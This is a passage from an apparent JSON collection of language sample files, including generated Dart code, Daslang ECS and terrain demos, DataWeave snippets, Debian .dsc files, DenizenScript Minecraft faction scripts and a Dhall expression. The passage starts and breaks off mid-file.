cast_nullable_to_non_nullable\n      as int?,\n    ));\n  }\n}\n\n/// @nodoc\n\nclass _Equals extends Equals {\n  _Equals({this.name, this.age}) : super._();\n\n  @override\n  final String? name;\n  @override\n  final int? age;\n\n  /// Create a copy of Equals\n  /// with the given fields replaced by the non-null parameter values.\n  @override\n  @JsonKey(includeFromJson: false, includeToJson: false)\n  @pragma('vm:prefer-inline')\n  _$EqualsCopyWith<_Equals> get copyWith =>\n      __$EqualsCopyWithImpl<_Equals>(this, _$identity);\n\n  @override\n  String toString() {\n    return 'Equals(name: $name, age: $age)';\n  }\n}\n\n/// @nodoc\nabstract mixin class _$EqualsCopyWith<$Res> implements $EqualsCopyWith<$Res> {\n  factory _$EqualsCopyWith(_Equals value, $Res Function(_Equals) _then) =\n  __$EqualsCopyWithImpl;\n  @override\n  @useResult\n  $Res call({String? name, int? age});\n}\n\n/// @nodoc\nclass __$EqualsCopyWithImpl<$Res> implements _$EqualsCopyWith<$Res> {\n  __$EqualsCopyWithImpl(this._self, this._then);\n\n  final _Equals _self;\n  final $Res Function(_Equals) _then;\n\n  /// Create a copy of Equals\n  /// with the given fields replaced by the non-null parameter values.\n  @override\n  @pragma('vm:prefer-inline')\n  $Res call({\n    Object? name = freezed,\n    Object? age = freezed,\n  }) {\n    return _then(_Equals(\n      name: freezed == name\n          ? _self.name\n          : name // ignore: cast_nullable_to_non_nullable\n      as String?,\n      age: freezed == age\n          ? _self.age\n          : age // ignore: cast_nullable_to_non_nullable\n      as int?,\n    ));\n  }\n}\n\n// dart format on\n"
  },
  {
    "path": "samples/Dart/point.dart",
    "content": "import 'dart:math' as math;\n\nclass Point {\n  num x, y;\n\n  Point(this.x, this.y);\n\n  num distanceTo(Point other) {\n    var dx = x - other.x;\n    var dy = y - other.y;\n    return math.sqrt(dx * dx + dy * dy);\n  }\n}\n\nvoid main() {\n  var p = new Point(2, 3);\n  var q = new Point(3, 4);\n  print('distance from p to q = ${p.distanceTo(q)}');\n}\n"
  },
  {
    "path": "samples/Daslang/ecs.das",
    "content": "options indenting = 2\n\noptions no_unused_block_arguments = false\noptions no_unused_function_arguments = false\noptions multiple_contexts\noptions strict_smart_pointers = true\n\nstruct EntityId {\n  id: uint;\n}\n\nlet INVALID_ENTITY_ID = EntityId(id=0xFFFFFFFFu);\n\ndef operator == (a: EntityId; b: EntityId): bool {\n  return a.id == b.id;\n}\n\ndef operator != (a: EntityId; b: EntityId): bool {\n  return a.id != b.id;\n}\n\nstruct Position {\n  x: float;\n  y: float;\n}\n\nstruct Velocity {\n  dx: float;\n  dy: float;\n}\n\nstruct Health {\n  current: int;\n  max: int;\n}\n\nlet MAX_ENTITIES = 10;\nvar entity_id_counter: uint = 0u;\nvar active_entities: int = 0;\n\nvar positions: array<Position>;\nvar velocities: array<Velocity>;\nvar healths: array<Health>;\n\nvar has_position: array<bool>;\nvar has_velocity: array<bool>;\nvar has_health: array<bool>;\n\ndef create_entity(): EntityId {\n  if (active_entities < MAX_ENTITIES) {\n    let new_id = entity_id_counter;\n    entity_id_counter++;\n    var eid = EntityId(id=new_id);\n    let index = int(eid.id);\n\n    if (index >= length(has_position)) {\n      let new_size = index + 1;\n      if (length(positions) < new_size) resize(positions, new_size);\n      if (length(velocities) < new_size) resize(velocities, new_size);\n      if (length(healths) < new_size) resize(healths, new_size);\n      if (length(has_position) < new_size) resize(has_position, new_size);\n      if (length(has_velocity) < new_size) resize(has_velocity, new_size);\n      if (length(has_health) < new_size) resize(has_health, new_size);\n    }\n\n    has_position[index] = false;\n    has_velocity[index] = false;\n    has_health[index] = false;\n    active_entities++;\n    return eid;\n  } else {\n    return EntityId(id=INVALID_ENTITY_ID.id);\n  }\n}\n\ndef add_position_component(eid: EntityId; comp: Position) {\n  if (eid != INVALID_ENTITY_ID && eid.id < entity_id_counter) {\n    let index = int(eid.id);\n    positions[index] = comp;\n    has_position[index] = true;\n  }\n}\n\ndef add_velocity_component(eid: EntityId; comp: Velocity) {\n  if (eid != INVALID_ENTITY_ID && eid.id < entity_id_counter) {\n    let index = int(eid.id);\n    velocities[index] = comp;\n    has_velocity[index] = true;\n  }\n}\n\ndef add_health_component(eid: EntityId; comp: Health) {\n  if (eid != INVALID_ENTITY_ID && eid.id < entity_id_counter) {\n    let index = int(eid.id);\n    healths[index] = comp;\n    has_health[index] = true;\n  }\n}\n\ndef remove_position_component(eid: EntityId) {\n  if (eid != INVALID_ENTITY_ID && eid.id < entity_id_counter) {\n    has_position[int(eid.id)] = false;\n  }\n}\n\ndef remove_velocity_component(eid: EntityId) {\n  if (eid != INVALID_ENTITY_ID && eid.id < entity_id_counter) {\n    has_velocity[int(eid.id)] = false;\n  }\n}\n\ndef remove_health_component(eid: EntityId) {\n  if (eid != INVALID_ENTITY_ID && eid.id < entity_id_counter) {\n    has_health[int(eid.id)] = false;\n  }\n}\n\ndef movement_system(dt: float) {\n  unsafe {\n    for (i_idx in range(0, int(entity_id_counter))) {\n      if (has_position[i_idx] && has_velocity[i_idx]) {\n        var pos: Position& = positions[i_idx];\n        let vel: Velocity& = velocities[i_idx];\n        pos.x += vel.dx * dt;\n        pos.y += vel.dy * dt;\n      }\n    }\n  }\n}\n\ndef damage_system(damage_amount: int) {\n  unsafe {\n    for (i_idx in range(0, int(entity_id_counter))) {\n      if (has_health[i_idx] && has_velocity[i_idx]) {\n        var hp: Health& = healths[i_idx];\n        hp.current -= damage_amount;\n        if (hp.current < 0) {\n          hp.current = 0;\n        }\n      }\n    }\n  }\n}\n\ndef cleanup_system() {\n  unsafe {\n    for (i_idx in range(0, int(entity_id_counter))) {\n      if (has_health[i_idx]) {\n        let hp: Health& = healths[i_idx];\n        if (hp.current <= 0) {\n          let current_eid = EntityId(id=uint(i_idx));\n          print(\"Entity {current_eid.id} has run out of health. Removing components.\\n\");\n          remove_position_component(current_eid);\n          remove_velocity_component(current_eid);\n          remove_health_component(current_eid);\n        }\n      }\n    }\n  }\n}\n\ndef print_entity_status_system() {\n  unsafe {\n    for (i_idx in range(0, int(entity_id_counter))) {\n      let current_eid = EntityId(id=uint(i_idx));\n      var status_string = \"Entity {current_eid.id}:\";\n      var has_any_component_for_this_id = false;\n\n      if (i_idx < length(has_position) && has_position[i_idx]) {\n        let pos: Position& = positions[i_idx];\n        status_string += \" Pos({pos.x},{pos.y})\";\n        has_any_component_for_this_id = true;\n      }\n      if (i_idx < length(has_velocity) && has_velocity[i_idx]) {\n        let vel: Velocity& = velocities[i_idx];\n        status_string += \" Vel({vel.dx},{vel.dy})\";\n        has_any_component_for_this_id = true;\n      }\n      if (i_idx < length(has_health) && has_health[i_idx]) {\n        let hp: Health& = healths[i_idx];\n        status_string += \" HP({hp.current}/{hp.max})\";\n        has_any_component_for_this_id = true;\n      }\n\n      if (has_any_component_for_this_id) {\n        print(\"{status_string}\\n\");\n      }\n    }\n  }\n}\n\n[export]\ndef main() {\n  let e1 = create_entity();\n  if (e1 != INVALID_ENTITY_ID) {\n    add_position_component(e1, Position(x=0.0, y=0.0));\n    add_velocity_component(e1, Velocity(dx=1.0, dy=0.5));\n    add_health_component(e1, Health(current=100, max=100));\n  }\n\n  let e2 = create_entity();\n  if (e2 != INVALID_ENTITY_ID) {\n    add_position_component(e2, Position(x=10.0, y=5.0));\n    add_health_component(e2, Health(current=50, max=50));\n  }\n\n  let e3 = create_entity();\n  if (e3 != INVALID_ENTITY_ID) {\n    add_position_component(e3, Position(x=-5.0, y=-5.0));\n    add_velocity_component(e3, Velocity(dx=-0.2, dy=1.0));\n    add_health_component(e3, Health(current=75, max=75));\n  }\n\n  let time_step = 1.0;\n  let base_damage = 30;\n\n  for (i_step in range(0, 5)) {\n    print(\"--- Simulation Step {i_step} ---\\n\");\n    movement_system(time_step);\n    damage_system(base_damage);\n    cleanup_system();\n    print_entity_status_system();\n    if (i_step == 1) {\n      let e4 = create_entity();\n      if (e4 != INVALID_ENTITY_ID) {\n        print(\"Adding new entity e4 (id {e4.id}) at step {i_step}\\n\");\n        add_position_component(e4, Position(x=2.0, y=2.0));\n        add_velocity_component(e4, Velocity(dx=0.1, dy=-0.1));\n        add_health_component(e4, Health(current=120, max=120));\n      }\n    }\n  }\n}"
  },
  {
    "path": "samples/Daslang/terrain.das",
    "content": "require math\n\nstruct HeightMap {\n  width: int\n  height: int\n  data: array<float>\n}\n\ndef simple_noise(x, y: float): float {\n  let ix = int(x)\n  let iy = int(y)\n  let fx = x - float(ix)\n  let fy = y - float(iy)\n  \n  let hash = (ix * 73856093) ^ (iy * 19349663)\n  let noise = float(hash % 1000) / 500.0f - 1.0f\n  \n  return noise * fx * fy\n}\n\ndef generate_terrain(width, height: int) {\n  var heightmap = HeightMap(width = width, height = height)\n  heightmap.data |> resize(width * height)\n  \n  for (y in range(height)) {\n    for (x in range(width)) {\n      let fx = float(x) * 0.1f\n      let fy = float(y) * 0.1f\n      \n      var height_value = 0.0f\n      height_value += simple_noise(fx, fy) * 50.0f\n      height_value += simple_noise(fx * 2.0f, fy * 2.0f) * 25.0f\n      height_value += simple_noise(fx * 4.0f, fy * 4.0f) * 12.5f\n      \n      heightmap.data[y * width + x] = height_value\n    }\n  }\n  \n  return <- heightmap\n}\n\ndef smooth_terrain(var heightmap: HeightMap) {\n  var temp_data: array<float>\n  temp_data |> resize(length(heightmap.data))\n  \n  for (y in range(1, heightmap.height - 1)) {\n    for (x in range(1, heightmap.width - 1)) {\n      let idx = y * heightmap.width + x\n      var sum = 0.0f\n      \n      for (dy in range(-1, 2)) {\n        for (dx in range(-1, 2)) {\n          let neighbor_idx = (y + dy) * heightmap.width + (x + dx)\n          sum += heightmap.data[neighbor_idx]\n        }\n      }\n      \n      temp_data[idx] = sum / 9.0f\n    }\n  }\n  \n  for (i in range(length(heightmap.data))) {\n    heightmap.data[i] = temp_data[i]\n  }\n}\n\ndef get_height(heightmap: HeightMap; x, y: int): float {\n  if (x >= 0 && x < heightmap.width && y >= 0 && y < heightmap.height) {\n    return heightmap.data[y * heightmap.width + x]\n  }\n  return 0.0f\n}\n\ndef find_spawn_location(heightmap: HeightMap): int2 {\n  for (y in range(heightmap.height)) {\n    for (x in range(heightmap.width)) {\n      let h = get_height(heightmap, x, y)\n      if (h > 5.0f && h < 30.0f) {\n        return int2(x, y)\n      }\n    }\n  }\n  \n  return int2(heightmap.width / 2, heightmap.height / 2)\n}\n\ndef calculate_slope(heightmap: HeightMap; x, y: int): float {\n  let center = get_height(heightmap, x, y)\n  let right = get_height(heightmap, x + 1, y)\n  let down = get_height(heightmap, x, y + 1)\n  \n  let dx = right - center\n  let dy = down - center\n  \n  return sqrt(dx * dx + dy * dy)\n}\n\ndef print_terrain_section(heightmap: HeightMap; start_x, start_y, size: int) {\n  print(\"Terrain heights:\\n\")\n  for (y in range(start_y, start_y + size)) {\n    var line = \"\"\n    for (x in range(start_x, start_x + size)) {\n      let h = get_height(heightmap, x, y)\n      if (h < 0.0f) {\n        line += \"~ \"\n      } elif (h < 10.0f) {\n        line += \". \"\n      } elif (h < 30.0f) {\n        line += \"^ \"\n      } else {\n        line += \"# \"\n      }\n    }\n    print(line)\n  }\n}\n\n[export]\ndef main() {\n  print(\"Generating 32x32 terrain\\n\")\n  \n  var terrain <- generate_terrain(32, 32)\n  \n  print(\"Smoothing terrain...\\n\")\n  smooth_terrain(terrain)\n  \n  let spawn = find_spawn_location(terrain)\n  let spawn_height = get_height(terrain, spawn.x, spawn.y)\n  print(\"Spawn location: {spawn.x}, {spawn.y} at height {spawn_height}\\n\")\n  \n  print_terrain_section(terrain, 10, 10, 12)\n  \n  print(\"\\nSlope analysis around spawn:\\n\")\n  for (dy in range(-2, 3)) {\n    for (dx in range(-2, 3)) {\n      let x = spawn.x + dx\n      let y = spawn.y + dy\n      let slope = calculate_slope(terrain, x, y)\n      if (slope > 15.0f) {\n        print(\"Steep slope at {x}, {y}: {slope}\\n\")\n      }\n    }\n  }\n}"
  },
  {
    "path": "samples/DataWeave/customInterpolator.dwl",
    "content": "fun SQL(literals, parts) = ''\n---\n[\n  SQL `SELECT * FROM table WHERE id = $(1) AND name = $('a')`,\n  SQL `$('p')`,\n  SQL `$('a')$('b')`,\n  SQL `$('a')---$('b')`,\n  SQL `---$('a')---$('b')---`,\n  SQL `$('p')bbb`,\n  SQL `aaa$('p')`,\n  SQL `aaa$('p')bbb`\n]"
  },
  {
    "path": "samples/DataWeave/directives.dwl",
    "content": "%dw 2.0\nvar number = 1234\nfun foo(func,name=\"Mariano\") = func(name)\ninput payload application/test arg=\"value\"\noutput application/json\n---\n{\n  foo: \"bar\"\n}"
  },
  {
    "path": "samples/DataWeave/functions.dwl",
    "content": "%dw 2.0\nvar x=(param1, param2) -> { \"$param1\": param2 }\nvar y=(param1, param2 = \"c\") -> { \"$param1\": param2 }\nvar toUser = (user) -> { name: user.name,\tlastName: user.lastName }\nfun z(param1, param2) = { \"$param1\": param2 }\nvar a = { name: \"Mariano\" , toUser: ((param1, param2) -> { \"$param1\": param2 }) }\nvar applyFirst =  (array, func) -> (func(array[0]) ++  array[1 to -1])\n\nvar nested =  (array, func) -> (a) -> (b) -> (c) -> array map func(a ++ b ++ c)\n\n\nfun f2(a1, a2) = \"\"\nfun f3(a1:String, a2:Number):String = a1\nfun f4(a1:String, a2:(a:Number) -> Number):String = a1\n---\nresult: {\n  a: x(\"a\", \"b\"),\n  b: y(\"a\"),\n  c: y(\"a\", \"b\"),\n  users: { (in1 map ((user) -> { user: (toUser(user) ++ user) })) },\n  d: z(\"a\", \"b\"),\n  e: a.toUser(\"name\",\"Mariano\"),\n  f: a.toUser(\"name\",\"Mariano\").name,\n  f: applyFirst(\"mariano\", (s) -> upper(s) ),\n  g: [] map (s) -> upper(s),\n  h: 1 f2 2\n}\n"
  },
  {
    "path": "samples/DataWeave/literals.dwl",
    "content": "%dw 2.0\n---\n{\n  \"boolean\":{\n    \"true\" : true,\n    \"false\": false\n  },\n  \"Number\": {\n    \"int\": 123,\n    \"decimal\": 123.23\n  },\n  \"string\": {\n    \"singleQuote\" : 'A String',\n    \"doubleQuote\" : \"A String\"\n  },\n  \"regex\": /foo/,\n  \"date\": {\n    a: |2003-10-01|,\n    b: |2005-045|,\n    c: |2003-W14-3|,\n    d: |23:57:59|,\n    e: |23:57:30.700|,\n    f: |23:50:30Z|,\n    g: |+13:00|,\n    h: |Z|,\n    i: |-02:00|,\n    j: |2005-06-02T15:10:16|,\n    k: |2005-06-02T15:10:16Z|,\n    l: |2005-06-02T15:10:16+03:00|,\n    m: |P12Y7M11D|,\n    n: |P12Y5M|,\n    o: |P45DT9H20M8S|,\n    p: |PT9H20M8S|\n  }\n}\n\n"
  },
  {
    "path": "samples/DataWeave/match.dwl",
    "content": "{\n  // Regex Pattern Matching (Can be named or unnamed)\n  a: in0.phones map $ match {\n    case matches /\\+(\\d+)\\s\\((\\d+)\\)\\s(\\d+\\-\\d+)/ -> { country: $[0], area: $[1], number: $[2] }\n    case matches /\\((\\d+)\\)\\s(\\d+\\-\\d+)/ -> { area: $[1], number: $[2] }\n    case phone matches /\\((\\d+)\\)\\s(\\d+\\-\\d+)/ -> { area: phone[1], number: phone[2] }\n  },\n  // Type Pattern Matching (Can be named or unnamed)\n  b: in0.object match {\n    case is Object -> { object: $ }\n    case is Number -> { number: $ }\n    // This is how you name variables if needed\n    case y is Boolean -> { boolean: y }\n  },\n  // Literal Pattern Matching (Can be named or unnamed)\n  c: in0.value match {\n    case \"Emiliano\" -> { string: $ }\n    case 123 -> { number: $ }\n    // This is how you name variables if needed\n    case value: \"Mariano\" -> { name: value }\n  },\n  // Boolean Expression Pattern Matching (Always named)\n  d: in0.value match {\n    case x if x > 30 -> { biggerThan30: x }\n    case x if x == 9 -> { nine: x }\n  },\n  // Default matches\n  e: in0.value match {\n    case \"Emiliano\" -> \"string\"\n    case 3.14 -> number\n    else -> \"1234\"\n  }\n}"
  },
  {
    "path": "samples/Debian Package Control File/example1.dsc",
    "content": "Format: 1.0\r\nSource: libdependable\r\nBinary: libdependable, libdependable-dev\r\nArchitecture: any\r\nVersion: 1:2.3-4\r\nMaintainer: Test Maintainer <test.maintainer@example.com>\r\nStandards-Version: 3.9.2\r\nBuild-Depends: debhelper (>= 9)\r\nPackage-List:\r\n libdependable deb misc optional arch=any\r\n libdependable-dev deb misc optional arch=any\r\nChecksums-Sha1:\r\n 5345aec6bad1d7e03f3afaae5cd6d00bc7df5cfe 786 libdependable_2.3-4.tar.gz\r\nChecksums-Sha256:\r\n 8b770fde1df196e6b0b222f42f5e698ca1fd220a8cc1274ce8b9b63bdada9137 786 libdependable_2.3-4.tar.gz\r\nFiles:\r\n 320a8fe6cf08e6d6bd030182e47effa5 786 libdependable_2.3-4.tar.gz"
  },
  {
    "path": "samples/Debian Package Control File/example2.dsc",
    "content": "Source: e2fsprogs\r\nSection: admin\r\nPriority: required\r\nMaintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com>\r\nXSBC-Original-Maintainer: Theodore Y. Ts'o <tytso@mit.edu>\r\nBuild-Depends: texi2html (>= 1.76), gettext:any, texinfo, pkg-config, gcc-multilib [mips mipsel], debhelper (>= 7.0), libblkid-dev (>= 2.16), uuid-dev (>= 2.16), m4\r\nStandards-Version: 3.9.2\r\nHomepage: http://e2fsprogs.sourceforge.net\r\n\r\nPackage: e2fsprogs\r\nEssential: yes\r\nPre-Depends: ${shlibs:Depends}, ${misc:Depends}, util-linux (>= 2.15~rc1-1)\r\nSuggests: gpart, parted, e2fsck-static\r\nConflicts: dump (<< 0.4b4-4), quota (<< 1.55-8.1), initscripts (<< 2.85-4), sysvinit (<< 2.85-4)\r\nReplaces: hurd (<= 20040301-1), libblkid1 (<< 1.38+1.39-WIP-2005.12.10-2), libuuid1 (<< 1.38+1.39-WIP-2005.12.10-2)\r\nArchitecture: any\r\nDescription: ext2/ext3/ext4 file system utilities\r\n The ext2, ext3 and ext4 file systems are successors of the original ext\r\n (\"extended\") file system. They are the main file system types used for\r\n hard disks on Debian and other Linux systems.\r\n .\r\n This package contains programs for creating, checking, and maintaining\r\n ext2/3/4-based file systems."
  },
  {
    "path": "samples/DenizenScript/sample1.dsc",
    "content": "# Main faction task.\r\nfaction:\r\n    type: task\r\n    script:\r\n        - narrate Claim! format:faction_action_format\r\n    edit:\r\n        - narrate Edit! format:faction_action_format\r\n    invite:\r\n        - narrate Invite! format:faction_action_format\r\n    settings:\r\n        - narrate Settings! format:faction_action_format\r\n    transfer_ownership:\r\n        - if !<player.has_flag[waiting_for_owner_transfer_request_acceptance]>:\r\n            - inventory open d:faction_action_danger_zone_transfer_ownership_player_list_inventory\r\n        - else:\r\n            - narrate \"You are still waiting for <player.flag[waiting_for_owner_transfer_request_acceptance].name> to accept the ownership!\" format:faction_action_format\r\n    create:\r\n        - if !<server.has_flag[factions]>:\r\n            - flag server factions:<map[]>\r\n            - flag server \"factions.all claims:<list[]>\"\r\n\r\n        - flag server FACTION_IDS:++\r\n\r\n        - define FACTION_UUID faction_<server.flag[FACTION_IDS]>\r\n\r\n        - flag player FACTION:<[FACTION_UUID]>\r\n\r\n        - definemap default_faction_data:\r\n            owner: <player.uuid>\r\n            members: <list[<player.uuid>]>\r\n            name: <player.name>'s Faction\r\n            settings:\r\n                permissions:\r\n                    # This is just place holder stuff ;0\r\n                    - OwnersGetAllPerms\r\n                    - MembersGetBasicPerms\r\n                    - OutsidersDoNotGetPerms\r\n                color: <white>\r\n            display name: <white><player.name>'s Faction\r\n            rivalries: <list[]>\r\n            allies: <list[]>\r\n            power: 100\r\n            claims: <list[<player.location.chunk.cuboid>]>\r\n\r\n        - note <player.location.chunk.cuboid> as:faction_cuboid_<[FACTION_UUID]>\r\n        - flag server \"factions.all claims:->:<player.location.chunk.cuboid>\"\r\n        - flag server factions.<[FACTION_UUID]>:<[default_faction_data]>\r\n\r\n        - narrate \"<green>Faction created! Check it out by using '/faction'!\" format:faction_action_format\r\n    delete:\r\n        - define FACTION_UUID <player.flag[FACTION]>\r\n\r\n        - define members <[FACTION_UUID].proc[get_members]>\r\n        - foreach <[members]> as:m:\r\n            - flag <player[<[m]>]> faction:!\r\n\r\n        - foreach <proc[get_all_claims]> as:cl:\r\n            - flag server \"factions.all claims:<-:<[cl]>\"\r\n\r\n        - flag server factions:<-:<[FACTION_UUID]>\r\n\r\n        - narrate \"<&[success]>Successfully deleted the faction!\" format:faction_action_format\r\n    leave:\r\n        - define faction <player.flag[faction]>\r\n        - if <player.uuid> == <[faction].proc[get_owner]>:\r\n            - narrate \"Sorry, but you are going to have to tranfer ownership of your faction before you can leave it. You can do so in the <red>Danger Zone<reset> section of the Faction Action Inventory. (<bold>/f<reset>)\" format:faction_action_format\r\n            - stop\r\n        - if <[faction].proc[get_members]> == <list[<player.uuid>]>:\r\n            - narrate \"You have successfully left the faction.\" format:faction_action_format\r\n            - inject faction.delete\r\n    wipe:\r\n        - foreach <server.offline_players.include[<server.online_players>]> as:p:\r\n            - if <[p].has_flag[FACTION]>:\r\n                - flag <[p]> FACTION:!\r\n        - foreach <proc[get_factions]> as:i:\r\n            - flag server factions:<-:<[i]>\r\n        - flag server \"factions:<-:all claims\"\r\n        - flag server factions:!\r\n        - foreach <server.notes[cuboids]> as:n:\r\n            - if <[n].advanced_matches_text[*faction_cuboid_*]>:\r\n                - note remove as:<[n].note_name>\r\n        - flag server FACTION_IDS:-1\r\n        - narrate Wiped. format:faction_action_format"
  },
  {
    "path": "samples/DenizenScript/sample2.dsc",
    "content": "player_chooses_new_owner_of_faction:\r\n    type: world\r\n    events:\r\n        on player clicks item in faction_action_danger_zone_transfer_ownership_player_list_inventory:\r\n            - define new_owner <context.item.flag[player_id]>\r\n\r\n            - define faction <player.proc[get_player_faction]>\r\n\r\n            - define faction_owner <player[<proc[get_owner].context[<[faction]>]>]>\r\n\r\n            - if !<player.has_flag[has_ownership_offer]>:\r\n                - if <[new_owner].has_flag[faction]>:\r\n                    - if <[new_owner].uuid> == <[faction_owner].uuid>:\r\n                        - narrate \"<&color[#1569EA]>You can't transfer ownership to yourself! You are already the owner.\" format:faction_action_format\r\n                        - inventory close\r\n                    - flag player waiting_for_owner_transfer_request_acceptance:<[new_owner]> expire:10m\r\n                    - inventory close\r\n                - else:\r\n                    - flag player waiting_for_owner_transfer_request_acceptance:<[new_owner]> expire:10m\r\n                    - inventory close\r\n\r\n                    - flag <[new_owner]> has_ownership_offer:<[faction]> expire:10m\r\n                    - runlater out_of_time_for_transfer delay:5s def.new_owner:<[new_owner]>\r\n                    - narrate targets:<[new_owner]> \"<green><player.name>, wants you to become the new owner of their faction<reset>, <[faction].proc[get_display_name]>. <green>To accept, please issue the command<reset>: <yellow>accept<reset>. <green>To deny, please issue the command<reset>: <yellow>deny <green>or, do nothing. This request will expire in 10 minutes.\" format:faction_action_format\r\n            - else:\r\n                - narrate \"<[new_owner].name> already has a valid offer. Please try again soon.\" format:faction_action_format\r\n\r\nplayer_accepts_or_denies_offer_to_be_new_owner:\r\n    type: world\r\n    events:\r\n        on player chats flagged:has_ownership_offer:\r\n            - define old_owner <player[<player.flag[has_ownership_offer].proc[get_owner]>]>\r\n            - define faction <player.flag[has_ownership_offer]>\r\n            - if <context.message.to_lowercase> == accept:\r\n                - determine passively cancelled\r\n\r\n                # Removes both the old owner and new owner from their factions to avoid any errors.\r\n                - if <[old_owner].has_flag[faction]>:\r\n                    - flag server factions.<[old_owner].flag[faction]>.members:<-:<[old_owner].uuid>\r\n                    - flag <[old_owner]> faction:!\r\n                - if <player.has_flag[faction]>:\r\n                    - flag server factions.<player.flag[faction]>.members:<-:<player.uuid>\r\n                    - flag player faction:!\r\n\r\n                - flag server factions.<[faction]>.owner:<player.uuid>\r\n                - flag server factions.<[faction]>.members:->:<player.uuid>\r\n                - flag player FACTION:<[faction]>\r\n\r\n                # Re-adds the owner to the faction.\r\n                - flag server factions.<[faction]>.members:->:<[old_owner].uuid>\r\n                - flag <[old_owner]> faction:<[faction]>\r\n\r\n                - flag <player> has_ownership_offer:!\r\n                - flag <[old_owner]> waiting_for_owner_transfer_request_acceptance:!\r\n\r\n                - narrate \"You are now the owner of <player.flag[has_ownership_offer].proc[get_display_name]>!\" format:faction_action_format\r\n                - narrate \"<player.name> has accepted the offer to become owner! You are now no longer the owner of <[faction].proc[get_display_name]>, but are now a regular member.\" targets:<[old_owner]> format:faction_action_format\r\n\r\n            - else if <context.message.to_lowercase> == deny:\r\n                - determine passively cancelled\r\n\r\n                - flag <player> has_ownership_offer:!\r\n                - flag <[old_owner]> waiting_for_owner_transfer_request_acceptance:!\r\n\r\n                - narrate \"You have denyed the offer.\" format:faction_action_format\r\n                - narrate \"<player.name> <red>has declined your offer to become owner of your faction.\" targets:<[old_owner]> format:faction_action_format\r\n            - else:\r\n                - determine cancelled\r\n\r\nout_of_time_for_transfer:\r\n    type: task\r\n    definitions: new_owner\r\n    script:\r\n        - if <player.has_flag[has_ownership_offer]>:\r\n            - narrate \"Sorry, the ownership offer has expired.\" targets:<[new_owner]> format:faction_action_format\r\n        - else:\r\n            - stop"
  },
  {
    "path": "samples/Dhall/largeExpressionA.dhall",
    "content": "  λ ( xs\n    : List\n      { cores             : Natural\n      , host              : Text\n      , key               : Text\n      , mandatoryFeatures : List Text\n      , platforms         :\n          List\n          < AArch64_Linux  : {}\n          | ARMv5tel_Linux : {}\n          | ARMv7l_Linux   : {}\n          | I686_Cygwin    : {}\n          | I686_Linux     : {}\n          | MIPS64el_Linux : {}\n          | PowerPC_Linux  : {}\n          | X86_64_Cygwin  : {}\n          | X86_64_Darwin  : {}\n          | X86_64_FreeBSD : {}\n          | X86_64_Linux   : {}\n          | X86_64_Solaris : {}\n          >\n      , speedFactor       : Natural\n      , supportedFeatures : List Text\n      , user              : Optional Text\n      }\n    )\n→ List/fold\n  { cores             : Natural\n  , host              : Text\n  , key               : Text\n  , mandatoryFeatures : List Text\n  , platforms         :\n      List\n      < AArch64_Linux  : {}\n      | ARMv5tel_Linux : {}\n      | ARMv7l_Linux   : {}\n      | I686_Cygwin    : {}\n      | I686_Linux     : {}\n      | MIPS64el_Linux : {}\n      | PowerPC_Linux  : {}\n      | X86_64_Cygwin  : {}\n      | X86_64_Darwin  : {}\n      | X86_64_FreeBSD : {}\n      | X86_64_Linux   : {}\n      | X86_64_Solaris : {}\n      >\n  , speedFactor       : Natural\n  , supportedFeatures : List Text\n  , user              : Optional Text\n  }\n  xs\n  Text\n  (   λ ( x\n        : { cores             : Natural\n          , host              : Text\n          , key               : Text\n          , mandatoryFeatures : List Text\n          , platforms         :\n              List\n              < AArch64_Linux  : {}\n              | ARMv5tel_Linux : {}\n              | ARMv7l_Linux   : {}\n              | I686_Cygwin    : {}\n              | I686_Linux     : {}\n              | MIPS64el_Linux : {}\n              | PowerPC_Linux  : {}\n              | X86_64_Cygwin  : {}\n              | X86_64_Darwin  : {}\n              | X86_64_FreeBSD : {}\n              | X86_64_Linux   : {}\n              | X86_64_Solaris : {}\n              >\n          , speedFactor       : Natural\n          , supportedFeatures : List Text\n          , user              : Optional Text\n          }\n        )\n    → λ(y : Text)\n    →     (     Optional/fold\n                Text\n                x.user\n                Text\n                (λ(user : Text) → user ++ \"@\" ++ x.host ++ \"\")\n                x.host\n            ++  \" \"\n            ++  ( merge\n                  { Empty    = λ(_ : {}) → \"\"\n                  , NonEmpty = λ(result : Text) → result\n                  }\n                  ( List/fold\n                    < AArch64_Linux  : {}\n                    | ARMv5tel_Linux : {}\n                    | ARMv7l_Linux   : {}\n                    | I686_Cygwin    : {}\n                    | I686_Linux     : {}\n                    | MIPS64el_Linux : {}\n                    | PowerPC_Linux  : {}\n                    | X86_64_Cygwin  : {}\n                    | X86_64_Darwin  : {}\n                    | X86_64_FreeBSD : {}\n                    | X86_64_Linux   : {}\n                    | X86_64_Solaris : {}\n                    >\n                    x.platforms\n                    < Empty : {} | NonEmpty : Text >\n                    (   λ ( element\n                          : < AArch64_Linux  : {}\n                            | ARMv5tel_Linux : {}\n                            | ARMv7l_Linux   : {}\n                            | I686_Cygwin    : {}\n                            | I686_Linux     : {}\n                            | MIPS64el_Linux : {}\n                            | PowerPC_Linux  : {}\n                            | X86_64_Cygwin  : {}\n                            | X86_64_Darwin  : {}\n                            | X86_64_FreeBSD : {}\n                            | X86_64_Linux   : {}\n                            | X86_64_Solaris : {}\n                            >\n                          )\n                      → λ(status : < Empty : {} | NonEmpty : Text >)\n                      → merge\n                        { Empty    =\n                              λ(_ : {})\n                            → < Empty : {} | NonEmpty : Text >.NonEmpty (\n                                  merge\n                                  { AArch64_Linux  = λ(_ : {}) → \"aarch64-linux\"\n                                  , ARMv5tel_Linux =\n                                      λ(_ : {}) → \"armv5tel-linux\"\n                                  , ARMv7l_Linux   = λ(_ : {}) → \"armv7l-linux\"\n                                  , I686_Cygwin    = λ(_ : {}) → \"i686-cygwin\"\n                                  , I686_Linux     = λ(_ : {}) → \"i686-linux\"\n                                  , MIPS64el_Linux =\n                                      λ(_ : {}) → \"mips64el-linux\"\n                                  , PowerPC_Linux  = λ(_ : {}) → \"powerpc-linux\"\n                                  , X86_64_Cygwin  = λ(_ : {}) → \"x86_64-cygwin\"\n                                  , X86_64_Darwin  = λ(_ : {}) → \"x86_64-darwin\"\n                                  , X86_64_FreeBSD =\n                                      λ(_ : {}) → \"x86_64-freebsd\"\n                                  , X86_64_Linux   = λ(_ : {}) → \"x86_64-linux\"\n                                  , X86_64_Solaris =\n                                      λ(_ : {}) → \"x86_64-solaris\"\n                                  }\n                                  element\n                              )\n                        , NonEmpty =\n                              λ(result : Text)\n                            → < Empty : {} | NonEmpty : Text >.NonEmpty (\n                                      ( merge\n                                        { AArch64_Linux  =\n                                            λ(_ : {}) → \"aarch64-linux\"\n  